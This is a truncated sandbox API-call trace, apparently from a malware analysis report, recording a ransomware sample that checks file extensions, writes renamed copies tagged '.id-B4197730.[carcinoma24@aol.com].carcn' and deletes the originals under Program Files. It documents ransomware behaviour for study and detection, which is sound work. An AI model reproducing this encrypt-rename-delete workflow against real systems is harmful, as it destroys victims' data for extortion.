lstrlenW (lpString=".pdf") returned 4 [0255.324] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0255.324] lstrlenW (lpString=".xls") returned 4 [0255.324] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0255.324] lstrlenW (lpString=".xlsx") returned 5 [0255.324] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0255.324] lstrlenW (lpString=".ppt") returned 4 [0255.324] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0255.324] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0255.324] lstrlenW (lpString=".zip") returned 4 [0255.324] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0255.324] lstrlenW (lpString=".rar") returned 4 [0255.324] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0255.324] lstrlenW (lpString=".bz2") returned 4 [0255.324] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0255.324] lstrlenW (lpString=".7z") returned 3 [0255.324] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0255.324] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0255.324] lstrlenW (lpString=".dbf") returned 4 [0255.324] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0255.324] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0255.324] lstrlenW (lpString=".1cd") returned 4 [0255.324] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0255.324] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0255.324] lstrlenW (lpString=".jpg") returned 4 [0255.324] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0255.325] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0255.325] lstrlenW (lpString="oskpred.xml") returned 11 [0255.325] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0255.325] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=215) returned 1 [0255.325] CloseHandle (hObject=0x33c) returned 1 [0255.325] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml")) returned 0x20 [0255.325] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0255.325] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.325] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0255.325] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0255.325] lstrlenW (lpString=".doc") returned 4 [0255.325] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0255.325] lstrlenW (lpString=".docx") returned 5 [0255.325] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0255.325] lstrlenW (lpString=".pdf") returned 4 [0255.325] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0255.326] lstrlenW (lpString=".xls") returned 4 [0255.326] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0255.326] lstrlenW (lpString=".xlsx") returned 5 [0255.326] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0255.326] lstrlenW (lpString=".ppt") returned 4 [0255.326] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0255.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0255.326] lstrlenW (lpString=".zip") returned 4 [0255.326] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0255.326] lstrlenW (lpString=".rar") returned 4 [0255.326] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0255.326] lstrlenW (lpString=".bz2") returned 4 [0255.326] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0255.326] lstrlenW (lpString=".7z") returned 3 [0255.326] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0255.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0255.326] lstrlenW (lpString=".dbf") returned 4 [0255.326] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0255.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0255.326] lstrlenW (lpString=".1cd") returned 4 [0255.326] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0255.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0255.326] lstrlenW (lpString=".jpg") returned 4 [0255.326] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0255.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0255.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0255.326] lstrlenW (lpString=".doc") returned 4 [0255.326] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0255.326] lstrlenW (lpString=".docx") returned 5 [0255.326] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0255.327] lstrlenW (lpString=".pdf") returned 4 [0255.327] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0255.327] lstrlenW (lpString=".xls") returned 4 [0255.327] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0255.327] lstrlenW (lpString=".xlsx") returned 5 [0255.327] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0255.327] lstrlenW (lpString=".ppt") returned 4 [0255.327] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0255.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0255.327] lstrlenW (lpString=".zip") returned 4 [0255.327] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0255.327] lstrlenW (lpString=".rar") returned 4 [0255.327] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0255.327] lstrlenW (lpString=".bz2") returned 4 [0255.327] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0255.327] lstrlenW (lpString=".7z") returned 3 [0255.327] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0255.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0255.327] lstrlenW (lpString=".dbf") returned 4 [0255.327] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0255.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0255.327] lstrlenW (lpString=".1cd") returned 4 [0255.327] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0255.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0255.327] lstrlenW (lpString=".jpg") returned 4 [0255.327] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0255.328] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0255.328] lstrlenW (lpString="ea-sym.xml") returned 10 [0255.328] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0255.328] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=694) returned 1 [0255.328] CloseHandle (hObject=0x33c) returned 1 [0255.328] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml")) returned 0x20 [0255.328] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0255.328] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0255.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0255.328] lstrlenW (lpString=".doc") returned 4 [0255.328] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0255.328] lstrlenW (lpString=".docx") returned 5 [0255.328] lstrcmpiW (lpString1=".docx", lpString2="m.xml") returned -1 [0255.328] lstrlenW (lpString=".pdf") returned 4 [0255.329] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0255.329] lstrlenW (lpString=".xls") returned 4 [0255.329] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0255.329] lstrlenW (lpString=".xlsx") returned 5 [0255.329] lstrcmpiW (lpString1=".xlsx", lpString2="m.xml") returned -1 [0255.329] lstrlenW (lpString=".ppt") returned 4 [0255.329] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0255.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0255.329] lstrlenW (lpString=".zip") returned 4 [0255.329] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0255.329] lstrlenW (lpString=".rar") returned 4 [0255.329] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0255.329] lstrlenW (lpString=".bz2") returned 4 [0255.329] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0255.329] lstrlenW (lpString=".7z") returned 3 [0255.329] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0255.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0255.329] lstrlenW (lpString=".dbf") returned 4 [0255.329] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0255.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0255.329] lstrlenW (lpString=".1cd") returned 4 [0255.329] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0255.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0255.329] lstrlenW (lpString=".jpg") returned 4 [0255.329] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0255.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0255.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0255.329] lstrlenW (lpString=".doc") returned 4 [0255.329] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0255.329] lstrlenW (lpString=".docx") returned 5 [0255.330] lstrcmpiW (lpString1=".docx", lpString2="m.xml") returned -1 [0255.330] lstrlenW (lpString=".pdf") returned 4 [0255.330] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0255.330] lstrlenW (lpString=".xls") returned 4 [0255.330] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0255.330] lstrlenW (lpString=".xlsx") returned 5 [0255.330] lstrcmpiW (lpString1=".xlsx", lpString2="m.xml") returned -1 [0255.330] lstrlenW (lpString=".ppt") returned 4 [0255.330] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0255.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0255.330] lstrlenW (lpString=".zip") returned 4 [0255.330] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0255.330] lstrlenW (lpString=".rar") returned 4 [0255.330] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0255.330] lstrlenW (lpString=".bz2") returned 4 [0255.330] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0255.330] lstrlenW (lpString=".7z") returned 3 [0255.330] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0255.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0255.330] lstrlenW (lpString=".dbf") returned 4 [0255.330] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0255.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0255.330] lstrlenW (lpString=".1cd") returned 4 [0255.330] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0255.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0255.330] lstrlenW (lpString=".jpg") returned 4 [0255.330] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0255.330] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0255.330] lstrlenW (lpString="ja-jp-sym.xml") returned 13 [0255.330] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0255.331] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=805) returned 1 [0255.331] CloseHandle (hObject=0x33c) returned 1 [0255.331] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml")) returned 0x20 [0255.331] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0255.331] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.331] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 86 [0255.331] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 86 [0255.331] lstrlenW (lpString=".doc") returned 4 [0255.331] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0255.331] lstrlenW (lpString=".docx") returned 5 [0255.331] lstrcmpiW (lpString1=".docx", lpString2="m.xml") returned -1 [0255.331] lstrlenW (lpString=".pdf") returned 4 [0255.331] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0255.331] lstrlenW (lpString=".xls") returned 4 [0255.331] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0255.332] lstrlenW (lpString=".xlsx") returned 5 [0255.332] lstrcmpiW (lpString1=".xlsx", lpString2="m.xml") returned -1 [0255.332] lstrlenW (lpString=".ppt") returned 4 [0255.332] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0255.332] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 86 [0255.332] lstrlenW (lpString=".zip") returned 4 [0255.332] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0255.332] lstrlenW (lpString=".rar") returned 4 [0255.332] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0255.332] lstrlenW (lpString=".bz2") returned 4 [0255.332] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0255.332] lstrlenW (lpString=".7z") returned 3 [0255.332] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0255.332] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 86 [0255.335] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0 [0255.335] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0 [0256.126] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.127] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.127] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498 [0256.840] GetLastError () returned 0x0 [0256.840] ReadFile (in: hFile=0x414, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x47a, lpOverlapped=0x0) returned 1 [0256.858] WriteFile (in: hFile=0x498, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0x480, lpOverlapped=0x0) returned 1 [0256.860] ReadFile (in: hFile=0x414, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0256.860] WriteFile (in: hFile=0x498, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0256.860] SetEndOfFile (hFile=0x498) returned 1 [0256.860] CloseHandle (hObject=0x498) returned 1 [0256.864] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.864] SetEndOfFile (hFile=0x414) returned 1 [0256.867] CloseHandle (hObject=0x414) returned 1 [0256.867] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0256.867] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif")) returned 1 [0256.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0256.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0256.868] lstrlenW (lpString=".doc") returned 4 [0256.868] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0256.868] lstrlenW (lpString=".docx") returned 5 [0256.868] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0256.868] lstrlenW (lpString=".pdf") returned 4 [0256.868] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0256.868] lstrlenW (lpString=".xls") returned 4 [0256.868] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0256.868] lstrlenW (lpString=".xlsx") returned 5 [0256.868] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0256.868] lstrlenW (lpString=".ppt") returned 4 [0256.868] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0256.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0256.868] lstrlenW (lpString=".zip") returned 4 [0256.868] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0256.868] lstrlenW (lpString=".rar") returned 4 [0256.868] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0256.868] lstrlenW (lpString=".bz2") returned 4 [0256.868] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0256.868] lstrlenW (lpString=".7z") returned 3 [0256.868] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0256.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0256.868] lstrlenW (lpString=".dbf") returned 4 [0256.869] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0256.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0256.869] lstrlenW (lpString=".1cd") returned 4 [0256.869] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0256.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0256.869] lstrlenW (lpString=".jpg") returned 4 [0256.869] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0256.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0256.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0256.869] lstrlenW (lpString=".doc") returned 4 [0256.869] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0256.869] lstrlenW (lpString=".docx") returned 5 [0256.869] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0256.869] lstrlenW (lpString=".pdf") returned 4 [0256.869] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0256.869] lstrlenW (lpString=".xls") returned 4 [0256.869] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0256.869] lstrlenW (lpString=".xlsx") returned 5 [0256.869] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0256.869] lstrlenW (lpString=".ppt") returned 4 [0256.869] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0256.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0256.869] lstrlenW (lpString=".zip") returned 4 [0256.869] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0256.869] lstrlenW (lpString=".rar") returned 4 [0256.869] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0256.869] lstrlenW (lpString=".bz2") returned 4 [0256.869] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0256.869] lstrlenW (lpString=".7z") returned 3 [0256.869] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0256.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0256.870] lstrlenW (lpString=".dbf") returned 4 [0256.870] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0256.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0256.870] lstrlenW (lpString=".1cd") returned 4 [0256.870] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0256.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0256.870] lstrlenW (lpString=".jpg") returned 4 [0256.870] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0256.870] lstrcmpiW (lpString1=".GIF", lpString2=".carcn") returned 1 [0256.870] lstrlenW (lpString="AG00164_.GIF") returned 12 [0256.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0256.870] GetFileSizeEx (in: hFile=0x414, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=13254) returned 1 [0256.871] CloseHandle (hObject=0x414) returned 1 [0256.871] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif")) returned 0x220 [0256.871] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0256.871] CreateFileW (lpFileName="C:\\Program 